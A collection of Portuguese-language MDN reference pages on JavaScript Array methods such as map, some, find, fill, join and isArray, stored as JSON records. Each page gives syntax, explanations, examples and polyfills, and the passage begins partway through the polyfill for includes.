{\n        throw new TypeError('\"this\" is null or not defined');\n      }\n\n      var o = Object(this);\n\n      // 2. Let len be ? ToLength(? Get(O, \"length\")).\n      var len = o.length >>> 0;\n\n      // 3. If len is 0, return false.\n      if (len === 0) {\n        return false;\n      }\n\n      // 4. Let n be ? ToInteger(fromIndex).\n      // (If fromIndex is undefined, this step produces the value 0.)\n      var n = fromIndex | 0;\n\n      // 5. If n ≥ 0, then\n      // a. Let k be n.\n      // 6. Else n < 0,\n      // a. Let k be len + n.\n      // b. If k < 0, let k be 0.\n      var k = Math.max(n >= 0 ? n : len - Math.abs(n), 0);\n\n      // 7. Repeat, while k < len\n      while (k < len) {\n        // a. Let elementK be the result of ? Get(O, ! ToString(k)).\n        // b. If SameValueZero(searchElement, elementK) is true, return true.\n        // c. Increase k by 1.\n        // NOTE: === provides the correct \"SameValueZero\" comparison needed here.\n        if (o[k] === searchElement) {\n          return true;\n        }\n        k++;\n      }\n\n      // 8. Return false\n      return false;\n    },\n  });\n}\n```\n\nEspecificações\n--------------\n\nProposta ES7: https://github.com/domenic/Array.prototype.contains/blob/master/spec.md\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* `TypedArray.prototype.includes()` (en-US)\n* `String.prototype.includes()`\n* `Array.prototype.indexOf()`"}
{"title":"Array.prototype.keys() - JavaScript","text":"Array.prototype.keys()\n======================\n\nSumário\n-------\n\nO método **`keys()`** retorna um novo **`Array Iterator`** que contém as chaves para cada *index* do array.\n\nSintaxe\n-------\n```\n\narr.keys()\n```\n\nExemplos\n--------\n\n### Exemplo: uso básico\n\n\n```js\nvar arr = [\"a\", \"b\", \"c\"];\nvar iterator = arr.keys();\n\nconsole.log(iterator.next()); // { value: 0, done: false }\nconsole.log(iterator.next()); // { value: 1, done: false }\nconsole.log(iterator.next()); // { value: 2, done: false }\nconsole.log(iterator.next()); // { value: undefined, done: true }\n```\n\n### Exemplo: keys iterator não ignora lacunas\n\n\n```js\nvar arr = [\"a\", , \"c\"];\nvar sparseKeys = Object.keys(arr);\nvar denseKeys = [...arr.keys()];\nconsole.log(sparseKeys); // [0, 2]\nconsole.log(denseKeys); // [0, 1, 2]\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.keys |\n\nCompatibilidade de Browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.values()`\n* `Array.prototype.entries()`"}
{"title":"Array.prototype[@@unscopables] - JavaScript","text":"Array.prototype[@@unscopables]\n==============================\n\nA propriedade de símbolo **`@@unscopable`** contém nomes de propriedades que não foram incluídos no padrão ECMAScript antes da versão ES2015. Essas propriedades são excluídas do statement bindings `with`.Sintaxe\n-------\n```\n\narr[Symbol.unscopables]\n```\n\nDescrição\n---------\n\nAs propriedades padrão de array que são excluídas dos bindings `with` são: copyWithin, entries, fill, find, findIndex, includes, keys, e values.\n\nVeja `Symbol.unscopables` para saber como definir `unscopables` para seus objetos.\n\n| Property attributes of `Array.prototype[@@unscopables]` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | yes |\n\nExemplos\n--------\n\nO código a seguir funciona bem no ES5 e abaixo. No entanto, no ECMAScript 2015 e posterior, o método `Array.prototype.keys()` foi introduzido. Isso significa que dentro de ambientes `with`, as \"keys\" seriam agora o método e não a variável. É aqui que a propriedade de símbolo `@@unscopables` `Array.prototype[@@unscopables]` entra em ação e impede que alguns métodos do Array estejam sendo definidos na instrução `with`.\n\n\n```js\nvar keys = [];\n\nwith (Array.prototype) {\n  keys.push(\"alguma coisa\");\n}\n\nObject.keys(Array.prototype[Symbol.unscopables]);\n// [\"copyWithin\", \"entries\", \"fill\", \"find\", \"findIndex\",\n// \"includes\", \"keys\", \"values\"]\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype-@@unscopables |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Symbol.unscopables`"}
{"title":"Array.prototype.length - JavaScript","text":"Array.prototype.length\n======================\n\nA propriedade **`length`** representa um inteiro de 32-bit sem sinal, que especifíca o número de elementos em um array.\n\n| Property attributes of `Array.prototype.length` |\n| --- |\n| Writable | yes |\n| Enumerable | no |\n| Configurable | no |\n\nSintaxe\n-------\n```\n\narr.length\n```\n\nDescrição\n---------\n\nO valor da propriedade length é um inteiro com um sinal positivo e valor menor que 2 elevado na 32ª potência(232).\n\nVocê pode setar o a propriedade `length` para truncar um array a qualquer momento. Quando você extende um array mudando sua propriedade `length`, o numero de elementos atuais não é incrementado; por exemplo, se você setar o tamanho para 3 quando ele é atualmente 2, o array continua somente com 2 elementos. Assim, a propriedade `length` não diz nada sobre o tamanho de valores definidos no array. Veja também Relacionamento entre `length` e propriedades numéricas.\n\nExemplos\n--------\n\n### Iterando sobre um array\n\nNo exemplo a seguir `numbers` é iterado considerando a propriedade `length` para ver quantos elementos ele tem. O valor de cada elemento recebe então o dobro.\n\n\n```js\nvar numbers = [1, 2, 3, 4, 5];\n\nfor (var i = 0; i < numbers.length; i++) {\n  numbers[i] \\*= 2;\n}\n// numbers is now [2, 4, 6, 8, 10]\n```\n\n### Encurtando um array\n\nO exemplo a seguir encurta o array `statesUS` para um tamanho de 50 se o tamanho corrente for maior do que 50.\n\n\n```js\nif (statesUS.length > 50) {\n  statesUS.length = 50;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-properties-of-array-instances-length |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array`"}
{"title":"Array.prototype.map() - JavaScript","text":"Array.prototype.map()\n=====================\n\nExperimente\n-----------\n\nResumo\n------\n\nO método **map()** invoca a função `callback` passada por argumento para cada elemento do Array e devolve um novo Array como resultado.\n\nSintaxe\n-------\n```\n\narr.map(callback[, thisArg])\n```\n\n### Parâmetros\n\n`callback`\n\nFunção cujo retorno produz o elemento do novo Array. Recebe três argumentos:\n\n`valorAtual`\n\nO valor do elemento original do Array de origem.\n\n`indice`\n\nO índice do elemento atual que está sendo processado no array.\n\n`array`\n\nO Array de origem.\n\n\n`thisArg`\n\nOpcional. Valor a ser utilizado como o *`this`* no momento da execução da função `callback`.\n\nDescrição\n---------\n\nO método **`map`** chama a função `callback` recebida por parâmetro para cada elemento do Array original, em ordem, e constrói um novo array com base nos retornos de cada chamada. A função `callback` é chamada apenas para os elementos do array original que tiverem valores atribuídos; os elementos que estiverem como `undefined`, que tiverem sido removidos ou os que nunca tiveram valores atribuídos não serão considerados.\n\nA função `callback` é chamada com três argumentos: o valor do elemento corrente, o índice do elemento corrente e o array original que está sendo percorrido.\n\nSe o parametro `thisArg` foi passado para o método `map`, ele será repassado para a função `callback` no momento da invocação para ser utilizado como o `this`. Caso contrário, o valor `undefined` será repassado para uso como o *`this`*. O valor do `this` a ser repassado para o `callback` deve respeitar as regras para determinar como o this é acessado por uma função (em inglês).\n\nO método `map` não modifica o array original. No entanto, a função `callback` invocada por ele pode fazê-lo.\n\nA lista de elementos que serão processados pelo `map` é montada antes da primeira invocação à função `callback`. Se um elemento for acrescentado ao array original após a chamada ao `map`, ele não será visível para o `callback`. Se os elementos existentes forem modificados, os valores que serão repassados serão os do momento em que o método `map` invocar o `callback`. Elementos removidos não serão visitados.\n\nExemplos\n--------\n\n### Exemplo: Mapeando um array de números para um array de raízes quadradas\n\nO código a seguir mapeia um array de números e cria um novo array contendo o valor da raiz quadrada de cada número do primeiro array.\n\n\n```js\nvar numbers = [1, 4, 9];\nvar roots = numbers.map(Math.sqrt);\n// roots é [1, 2, 3], numbers ainda é [1, 4, 9]\n```\n\n### Exemplo: Mapeando um array de números usando uma função `callback` que contém um argumento\n\nO código a seguir mostrar como o método `map` funciona quando a função `callback` possui apenas um argumento. Esse argumento será automaticamente atribuído para cada elemento do array conforme o `map` itera sobre o array original.\n\n\n```js\nvar numbers = [1, 4, 9];\nvar doubles = numbers.map(function (num) {\n  return num \\* 2;\n});\n// doubles é agora [2, 8, 18]. numbers ainda é [1, 4, 9]\n```\n\n### Exemplo: usando `map` genericamente\n\nEsse exemplo demonstra como usar o map em um `String` para recuperar a representação em ASCII de cada caracter em um array de bytes:\n\n\n```js\nvar map = Array.prototype.map;\nvar a = map.call(\"Hello World\", function (x) {\n  return x.charCodeAt(0);\n});\n// a agora vale [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]\n```\n\n### Exemplo: usando `map` genericamente com `querySelectorAll`\n\nEsse exemplo demonstra como iterar sobre uma coleção de objetos recuperada através de querySelectorAll. Nesse caso, vamos pegar todos os options selecionados na tela e imprimir no console:\n\n\n```js\nvar elems = document.querySelectorAll(\"select option:checked\");\nvar values = [].map.call(elems, function (obj) {\n  return obj.value;\n});\n```\n\n### Exemplo: Usando `map` para inverter uma string\n\n\n```js\nvar str = \"12345\";\n[].map\n  .call(str, function (x) {\n    return x;\n  })\n  .reverse()\n  .join(\"\");\n\n// Output: '54321'\n// Bonus: utilize '===' para verificar se a string original e a nova string são palíndromos\n```\n\n### Exemplo: Caso de uso mais complexo\n\n(inspirado nesse post) (em inglês)\n\nÉ uma prática comum utilizar o callback com apenas um argumento (o elemento atual do array original). Algumas funções também são comumente utilizadas com um argumento, mesmo tendo argumentos adicionais opcionais. Esses hábitos podem resultar em comportamentos indesejado:\n\n\n```js\n// Considere:\n[\"1\", \"2\", \"3\"].map(parseInt);\n// Enquanto era de se esperar [1, 2, 3]\n// O resultado atual é [1, NaN, NaN]\n\n// parseInt é normalmente usado com apenas um argumento, mas ele possui dois.\n// O primeiro é uma expressão, e o segundo o radical.\n// Para a função callback, o Array.prototype.map repassa 3 argumentos:\n// o elemento corrente, o indice e o array original\n// O terceiro argumento é ignorado pelo parseInt, mas o segundo não, o que certamente gerou o comportamento inesperado. Veja o post para maiores detalhes\n\nfunction returnInt(element) {\n  return parseInt(element, 10);\n}\n\n[\"1\", \"2\", \"3\"].map(returnInt); // [1, 2, 3]\n// O resultado atual é um array de números (como esperado)\n\n// Bonus: Um jeito mais simples de conseguir o mesmo resultado sem nenhuma \"pegadinha do Malandro\":\n[\"1\", \"2\", \"3\"].map(Number); // [1, 2, 3]\n```\n\nPolyfill\n--------\n\n(veja definição em Polyfill)\n\nO método `map` foi introduzido ao padrão ECMA-262 na sua 5ª edição, o que significa que ele pode não estar presente em todas as implementações desse padrão. Você pode contornar esse problema inserindo o código a seguir no início dos seus scripts, permitindo o uso do `map` mesmo que ele não esteja sendo suportado nativamente. Esse algoritmo é exatamente o especificado no ECMA-262 5ª edição, assumindo que `Object`, `TypeError`, e `Array` tenham seus valores originais, e que `callback.call` avalie para o valor original de ``Function.prototype.call``.\n\n\n```js\n// Production steps of ECMA-262, Edition 5, 15.4.4.19\n// Reference: http://es5.github.io/#x15.4.4.19\nif (!Array.prototype.map) {\n  Array.prototype.map = function (callback, thisArg) {\n    var T, A, k;\n\n    if (this == null) {\n      throw new TypeError(\" this is null or not defined\");\n    }\n\n    // 1. Let O be the result of calling ToObject passing the |this|\n    // value as the argument.\n    var O = Object(this);\n\n    // 2. Let lenValue be the result of calling the Get internal\n    // method of O with the argument \"length\".\n    // 3. Let len be ToUint32(lenValue).\n    var len = O.length >>> 0;\n\n    // 4. If IsCallable(callback) is false, throw a TypeError exception.\n    // See: http://es5.github.com/#x9.11\n    if (typeof callback !== \"function\") {\n      throw new TypeError(callback + \" is not a function\");\n    }\n\n    // 5. If thisArg was supplied, let T be thisArg; else let T be undefined.\n    if (arguments.length > 1) {\n      T = thisArg;\n    }\n\n    // 6. Let A be a new array created as if by the expression new Array(len)\n    // where Array is the standard built-in constructor with that name and\n    // len is the value of len.\n    A = new Array(len);\n\n    // 7. Let k be 0\n    k = 0;\n\n    // 8. Repeat, while k < len\n    while (k < len) {\n      var kValue, mappedValue;\n\n      // a. Let Pk be ToString(k).\n      // This is implicit for LHS operands of the in operator\n      // b. Let kPresent be the result of calling the HasProperty internal\n      // method of O with argument Pk.\n      // This step can be combined with c\n      // c. If kPresent is true, then\n      if (k in O) {\n        // i. Let kValue be the result of calling the Get internal\n        // method of O with argument Pk.\n        kValue = O[k];\n\n        // ii. Let mappedValue be the result of calling the Call internal\n        // method of callback with T as the this value and argument\n        // list containing kValue, k, and O.\n        mappedValue = callback.call(T, kValue, k, O);\n\n        // iii. Call the DefineOwnProperty internal method of A with arguments\n        // Pk, Property Descriptor\n        // { Value: mappedValue,\n        // Writable: true,\n        // Enumerable: true,\n        // Configurable: true },\n        // and false.\n\n        // In browsers that support Object.defineProperty, use the following:\n        // Object.defineProperty(A, k, {\n        // value: mappedValue,\n        // writable: true,\n        // enumerable: true,\n        // configurable: true\n        // });\n\n        // For best browser support, use the following:\n        A[k] = mappedValue;\n      }\n      // d. Increase k by 1.\n      k++;\n    }\n\n    // 9. return A\n    return A;\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.map |\n\nCompatibilidade com os browsers\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.forEach()`\n* `Map` object\n* `Array.from()`"}
{"title":"Array.prototype.some() - JavaScript","text":"Array.prototype.some()\n======================\n\nO método **`some()`** testa se ao menos um dos elementos no array passa no teste implementado pela função atribuída e retorna um valor **`true`** ou **`false`**.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\narr.some(callback[, thisArg])\n```\n\n### Parâmetros\n\n`callback`\n\nFunção para testar cada elemento, recebendo três argumentos:\n\n`currentValue`\n\nO valor atual do elemento sendo processado no array.\n\n`index`\n\nO índice do elemento atual sendo processado no array.\n\n`array`\n\nO array onde o método `some()` foi chamado.\n\n\n`thisArg`\n\nOpcional. Valor para usar como *`this`* durante a execução do `callback`.\n\n### Valor de retorno\n\nEsta função retorna **`true`** se a função callback retornar **`true`** para qualquer elemento do array; caso contrário, **`false`**.\n\nDescrição\n---------\n\n`some()` executa a função callback uma vez para cada elemento presente no array até achar um onde o `callback` retorne um valor *true*. Se em qualquer dos elementos o valor for encontrado, `some()` imediatamente retorna `true`. Caso contrario, `some()` retorna `false`. `callback` é invocado somente para índices do array que contenham valor definido; não é invocado para índices que foram deletados ou os quais nunca tiveram valor definido.\n\n`callback` é invocado com três argumentos: o valor do elemento, o índice do elemento, e o array onde a função foi chamada.\n\nSe o parâmetro `thisArg` foi passado ao `some()`, ele sera passado ao `callback` quando o mesmo for invocado, para ser usado como o valor de `this` internamente na função callback. Caso contrario, o valor `undefined` será passado para uso como `this`. O valor `this` observado pela `callback` é determinado de acordo com as regras usuais para determinar o que é visto por uma função.\n\n`some()` não altera o array dentro do qual ele é chamado.\n\nO intervalo de elementos processado por `some()` é definido antes da primeira invocação da `callback`. Elementos contidos no array antes da chamada `some()` ser iniciada não serão testados pela *callback*. Se algum elemento pertencente ao array for alterado pela `callback`, o valor passado para a `callback` será o valor do momento em que a função `some()` encontra o índice daquele elemento. Elementos deletados não são testados.\n\nExemplos\n--------\n\n### Testando valores de elementos de um array\n\nO exemplo a seguir testa se algum elemento de um array é maior que 10.\n\n\n```js\nfunction isBiggerThan10(element, index, array) {\n  return element > 10;\n}\n[2, 5, 8, 1, 4].some(isBiggerThan10); // false\n[12, 5, 8, 1, 4].some(isBiggerThan10); // true\n```\n\n### Testando valores de elementos de um array usando arrow functions\n\nArrow functions fornece uma sintaxe mais curta para o mesmo teste.\n\n\n```js\n[2, 5, 8, 1, 4].some((elem) => elem > 10); // false\n[12, 5, 8, 1, 4].some((elem) => elem > 10); // true\n```\n\nPolyfill\n--------\n\n`some()` was added to the ECMA-262 standard in the 5th edition; as such it may not be present in all implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of `some()` in implementations which do not natively support it. This algorithm is exactly the one specified in ECMA-262, 5th edition, assuming `Object` and `TypeError` have their original values and that `fun.call` evaluates to the original value of `Function.prototype.call()`.\n\n\n```js\n// Production steps of ECMA-262, Edition 5, 15.4.4.17\n// Reference: http://es5.github.io/#x15.4.4.17\nif (!Array.prototype.some) {\n  Array.prototype.some = function (fun /\\*, thisArg\\*/) {\n    \"use strict\";\n\n    if (this == null) {\n      throw new TypeError(\"Array.prototype.some called on null or undefined\");\n    }\n\n    if (typeof fun !== \"function\") {\n      throw new TypeError();\n    }\n\n    var t = Object(this);\n    var len = t.length >>> 0;\n\n    var thisArg = arguments.length >= 2 ? arguments[1] : void 0;\n    for (var i = 0; i < len; i++) {\n      if (i in t && fun.call(thisArg, t[i], i, t)) {\n        return true;\n      }\n    }\n\n    return false;\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.some |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.forEach()`\n* `Array.prototype.every()`\n* `TypedArray.prototype.some()` (en-US)"}
{"title":"Array.prototype.find() - JavaScript","text":"Array.prototype.find()\n======================\n\nO método **`find()`** retorna o **valor** do **primeiro elemento** do array que satisfizer a função de teste provida. Caso contrario, `undefined` é retornado.\n\nExperimente\n-----------\n\nVeja também o método `findIndex()`, que retorna o **índice** do elemento encontrado no array ao invés do seu valor.\n\nSe você precisa encontrar a posição de um elemento ou se um elemento existe em um array, use `Array.prototype.indexOf()` ou `Array.prototype.includes()`.\n\nSintaxe\n-------\n```\n\narr.find(callback(element[, index[, array]])[, thisArg])\n```\n\n### Parâmetros\n\n`callback`\n\nFunção executada a cada iteração do array, recebendo três argumentos:\n\n`element`\n\nO elemento atual que está sendo processado no array.\n\n`index`Optional\n\nO índice do elemento atualmente sendo processado no array.\n\n`array`Optional\n\nO array sobre o qual `find` foi chamado.\n\n\n`thisArg`Optional\n\nOpcional. Objeto usado como `this` quando executando o `callback`.\n\n### Valor retornado\n\nO **valor** do **primeiro elemento** do array que satisfaz a função de teste fornecida; caso contrário, `undefined`.\n\nDescrição\n---------\n\nO método `find` executa a função `callback` uma vez para cada elemento presente no array até que encontre um onde `callback` retorne o valor true. Se o elemento é encontrado, `find` retorna imediatamente o valor deste elemento. Caso contrário, `find` retorna `undefined`. O `callback` é acionado para todos os índices do array de `0` a `tamanho-1`, não apenas para aqueles que possuem valores atribuídos. Sendo assim, ele pode ser menos eficiente para arrays muito grandes em que existem outros métodos que só visitam os índices que tenham valor atribuído.\n\nO `callback` é acionado com três argumentos: o valor do elemento, o índice do elemento e o objeto do Array que está sendo executado.\n\nSe um parâmetro `thisArg` é provido ao `find`, ele será usado como o `this` para cada acionamento do `callback`. Se não for provido, então `undefined` é usado.\n\nO `find` não altera a array à qual foi acionado.\n\nO conjunto dos elementos processados por `find` é definido antes do primeiro acionamento do `callback`. Elementos que são anexados à array após o início da chamada ao `find` não serão visitados pelo `callback`. Se um elemento existente ainda não visitado da array for alterado pelo `callback`, o valor passado ao `callback` quando o visitar será o valor no momento que `find` visita o índice daquele elemento; elementos excluídos ainda são visitados.\n\nExemplos\n--------\n\n### Encontrar um objeto em um array por uma de suas propriedades\n\n\n```js\nconst inventory = [\n  { name: \"apples\", quantity: 2 },\n  { name: \"bananas\", quantity: 0 },\n  { name: \"cerejas\", quantity: 5 },\n];\n\nfunction isCherries(fruit) {\n  return fruit.name === \"cerejas\";\n}\n\nconsole.log(inventory.find(isCherries));\n// { name: 'cerejas', quantity: 5 }\n```\n\n\n#### Utilizando arrow function\n\n\n```js\nconst inventory = [\n  { name: \"maças\", quantity: 2 },\n  { name: \"bananas\", quantity: 0 },\n  { name: \"cherries\", quantity: 5 },\n];\n\nconst result = inventory.find((fruit) => fruit.name === \"cherries\");\n\nconsole.log(result); // { name: 'cherries', quantity: 5 }\n```\n\n### Encontrar um número primo em um array\n\nO exemplo a seguir encontra um elemento dentro da array que é número primo (ou retorna `undefined` se não houverem números primos).\n\n\n```js\nfunction isPrime(element, index, array) {\n  var start = 2;\n  while (start <= Math.sqrt(element)) {\n    if (element % start++ < 1) {\n      return false;\n    }\n  }\n  return element > 1;\n}\n\nconsole.log([4, 6, 8, 12].find(isPrime)); // undefined, not found\nconsole.log([4, 5, 8, 12].find(isPrime)); // 5\n```\n\nPolyfill\n--------\n\nEste método foi adicionado à especificação do ECMAScript 2015 e pode não estar disponível em todas as implementações do JavaScript. Entretanto, você pode fazer um polyfill para o `Array.prototype.find` com o trecho de código abaixo:\n\n\n```js\nif (!Array.prototype.find) {\n  Array.prototype.find = function (predicate) {\n    if (this === null) {\n      throw new TypeError(\"Array.prototype.find called on null or undefined\");\n    }\n    if (typeof predicate !== \"function\") {\n      throw new TypeError(\"predicate must be a function\");\n    }\n    var list = Object(this);\n    var length = list.length >>> 0;\n    var thisArg = arguments[1];\n    var value;\n\n    for (var i = 0; i < length; i++) {\n      value = list[i];\n      if (predicate.call(thisArg, value, i, list)) {\n        return value;\n      }\n    }\n    return undefined;\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.find |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.findIndex()` \nExperimental\n* `Array.prototype.every()`"}
{"title":"Array.prototype.toString() - JavaScript","text":"Array.prototype.toString()\n==========================\n\nO método **`toString()`** retorna uma string representando um array específico e seus elementos.\n\nSintaxe\n-------\n```\n\narr.toString()\n```\n\n### Parâmetros\n\nNenhum.\n\nDescrição\n---------\n\nO objeto `Array` substitui o método toString() de `Object`. Para objetos do tipo Array, o método toString() concatena todos os valores em apenas uma string. Segue exemplo abaixo, de como ele se comporta.\n\n\n```js\nvar monthNames = [\"Jan\", \"Feb\", \"Mar\", \"Apr\"];\nvar myVar = monthNames.toString(); // atribui 'Jan,Feb,Mar,Apr' para myVar.\n```\n\n\nJavaScript chama o método toString automaticamente quando um Array é para ser representado como um valor de texto ou quando um Array é designado em uma concatenação.\n\n### Semântica ECMAScript 5\n\nImplementado no JavaScript 1.8.5 (Firefox 4), e compatível com a 5ª versão do ECMAScript, a função toString() é genérica e pode ser usada em qualquer Objeto. Se o objeto tem um método join(), ele será chamado e esse valor será devolvido. Do contrário, `Object.prototype.toString()` será chamado, e o valor será retornado.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.tostring |\n\nBrowsers compatíveis\n--------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.prototype.toSource()`"}
{"title":"Array.prototype.fill() - JavaScript","text":"Array.prototype.fill()\n======================\n\nO método **`fill()`** preenche todos os valores do array a partir do índice inicial a um índice final com um valor estático.\n\nSintaxe\n-------\n```\n\narr.fill(valor[, ínicio = 0[, fim = this.length]])\n```\n\n### Parâmetros\n\n`valor`\n\nValor para preencher o array.\n\n`ínicio`\n\nOpcional. Índice inicial.\n\n`fim`\n\nOpcional. Índice final.\n\nDescrição\n---------\n\nO intervalo de preenchimento dos elementos é [`início`, `fim`).\n\nO método **`fill`** pode receber até três argumentos `valor`, `ínicio` e `fim`. Os argumentos `ínicio` e `fim` são opcionais com valor padrão `0 (valor)` e o tamanho do objeto `(fim)`.\n\nSe o `ínicio` for negativo, ele será tratado como `tamanho + ínicio` onde `tamanho é o tamanho total do array`. Se o `fim` for negativo, ele será tratado como `tamanho + fim`.\n\nA função **fill** é intencionalmente genérica, ele não precisa que o valor do this seja um objeto Array.\n\nO método **fill** é um método mutável, ele irá mudar o objeto em si, e retorná-lo, não somente uma cópia do objeto.\n\nExemplos\n--------\n\n\n```js\n[1, 2, 3].fill(4); // [4, 4, 4]\n[1, 2, 3].fill(4, 1); // [1, 4, 4]\n[1, 2, 3].fill(4, 1, 2); // [1, 4, 3]\n[1, 2, 3].fill(4, 1, 1); // [1, 2, 3]\n[1, 2, 3].fill(4, -3, -2); // [4, 2, 3]\n[1, 2, 3].fill(4, NaN, NaN); // [1, 2, 3]\nArray(3).fill(4); // [4, 4, 4]\n[].fill.call({ length: 3 }, 4); // {0: 4, 1: 4, 2: 4, length: 3}\n```\n\nPolyfill\n--------\n\n\n```js\nif (!Array.prototype.fill) {\n  Array.prototype.fill = function (value) {\n    // Passo 1-2.\n    if (this == null) {\n      throw new TypeError(\"this is null or not defined\");\n    }\n\n    var O = Object(this);\n\n    // Passo 3-5.\n    var len = O.length >>> 0;\n\n    // Passo 6-7.\n    var start = arguments[1];\n    var relativeStart = start >> 0;\n\n    // Passo 8.\n    var k =\n      relativeStart < 0\n        ? Math.max(len + relativeStart, 0)\n        : Math.min(relativeStart, len);\n\n    // Passo 9-10.\n    var end = arguments[2];\n    var relativeEnd = end === undefined ? len : end >> 0;\n\n    // Passo 11.\n    var final =\n      relativeEnd < 0\n        ? Math.max(len + relativeEnd, 0)\n        : Math.min(relativeEnd, len);\n\n    // Passo 12.\n    while (k < final) {\n      O[k] = value;\n      k++;\n    }\n\n    // Passo 13.\n    return O;\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.fill |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n[1] Começando com Chrome 36, isto era disponível com uma mudança nas preferencias. Em chrome://flags, ativar a entrada \"Enable Experimental JavaScript\".\n\nVer também\n----------\n\n* `Array`\n* `TypedArray.prototype.fill()` (en-US)"}
{"title":"Array.prototype.join() - JavaScript","text":"Array.prototype.join()\n======================\n\nO método **`join()`** junta todos os elementos de um array (ou um array-like object) em uma string e retorna esta string.Experimente\n-----------\n\nSintaxe\n-------\n```\n\narr.join([separador = ','])\n```\n\n### Parâmetros\n\n`separador` Optional\n\nEspecífica uma string para separar cada elemento adjacente do array. O separador é convertido em uma string se necessário. Se omitido, os elementos do array são separados com uma vírgula (\",\"). Se o `separador` for uma string vazia, todos os elementos são juntados sem nenhum caracter entre eles.\n\n### Valor de retorno\n\nUma string com todos os elementos do array juntos. Se `arr.length` é `0`, uma string vazia é retornada.\n\nDescrição\n---------\n\nAs conversões em string de todos os elementos de um array são juntados em apenas uma string.\n\n**Aviso:** Obs: Se um elemento é `undefined` ou `null`, ele é convertido em uma string vazia.\n\nExemplos\n--------\n\n### Juntando um array de quatro formas diferentes\n\nO exemplo interativo a seguir cria um array, `a`, com três elementos, e o junta três vezes: a primeira com virgulas, a segunda so junta os elementos e a terceira com um sinal de menos.\n\nExperimente\n-----------\n\n### Juntando um array-like object (objeto estilo-array)\n\nO exemplo abaixo junta um array-like object (ex: o objeto `arguments`), chamando `Function.prototype.call` no `Array.prototype.join`.\n\n\n```js\nfunction f(a, b, c) {\n  var s = Array.prototype.join.call(arguments);\n  console.log(s); // '1,a,true'\n}\nf(1, \"a\", true);\n//saida esperada: \"1,a,true\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.join |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* `String.prototype.split()`\n* `Array.prototype.toString()`\n* `TypedArray.prototype.join()` (en-US)"}
{"title":"Array.isArray() - JavaScript","text":"Array.isArray()\n===============\n\nSumário\n-------\n\nO método **`Array.isArray()`** retorna `true` se um objeto é uma array, e `false` se não é.\n\nSintaxe\n-------\n```\n\nArray.isArray(obj)\n```\n\n### Parâmetros\n\n`obj`\n\nO objeto a ser verificado.\n\nDescrição\n---------\n\nSe o objeto é um `Array`, retorna `true`(verdadeiro), caso contrário é retornado `false`(falso).\n\nVeja o artigo \"Determinando com absoluta precisão se um objeto em Javascript é ou não uma array\" para mais detalhes.\n\nExemplos\n--------\n\n\n```js\n// todas as chamadas conseguintes retornam true\nArray.isArray([]);\nArray.isArray([1]);\nArray.isArray(new Array());\n// Pequeno detalhe: Array.prototype por si só é uma array:\nArray.isArray(Array.prototype);\n\n// todas as conseguintes retornam false\nArray.isArray();\nArray.isArray({});\nArray.isArray(null);\nArray.isArray(undefined);\nArray.isArray(17);\nArray.isArray(\"Array\");\nArray.isArray(true);\nArray.isArray(false);\nArray.isArray({ \\_\\_proto\\_\\_: Array.prototype });\n```\n\nPolyfill\n--------\n\nExecutando o seguinte código antes de qualquer outro, o método `Array.isArray()` será criado, caso o browser não o disponibilize nativamente.\n\n\n```js\nif (!Array.isArray) {\n  Array.isArray = function (arg) {\n    return Object.prototype.toString.call(arg) === \"[object Array]\";\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.isarray |\n\nCompatibilidade com o Browser\n-----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* `Array`"}
